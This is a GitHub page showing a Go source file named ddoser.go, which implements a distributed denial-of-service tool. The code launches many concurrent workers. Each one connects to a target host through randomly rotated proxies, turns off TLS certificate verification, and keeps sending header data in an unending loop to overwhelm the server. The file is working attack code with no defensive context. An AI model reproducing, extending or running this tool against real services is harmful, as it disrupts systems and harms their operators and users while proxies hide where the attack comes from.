-
Notifications
You must be signed in to change notification settings - Fork 6
/
ddoser.go
64 lines (55 loc) · 1.2 KB
/
ddoser.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
package main
import (
"crypto/tls"
"fmt"
"net"
"net/url"
"time"
"github.com/valyala/fasthttp/fasthttpproxy"
)
type Ddoser struct {
url *url.URL
numWorkers int
headers []string
proxies []string
}
func NewDdoser(u *url.URL, number int, headers, proxies []string) (*Ddoser, error) {
if u.Hostname() == "" || u.Port() == "" {
return nil, fmt.Errorf("missing Hostname or Port")
}
return &Ddoser{
url: u,
numWorkers: number,
headers: headers,
proxies: proxies,
}, nil
}
func (d *Ddoser) Run() {
for i := 0; i < d.numWorkers; i++ {
addr := net.JoinHostPort(d.url.Hostname(), d.url.Port())
go func() {
var conn net.Conn
var err error
for {
conn, err = fasthttpproxy.FasthttpHTTPDialerTimeout(random(d.proxies), time.Second*5)(addr)
if err != nil {
// Skip to another proxy
continue
}
if d.url.Scheme == "https" {
// Skip tls verification
conn = tls.Client(conn, &tls.Config{
ServerName: d.url.Hostname(),
InsecureSkipVerify: true,
})
}
for i := 0; i < len(d.headers); i++ {
if _, err = conn.Write([]byte(d.headers[i])); err != nil {
conn.Close()
break
}
}
}
}()
}
}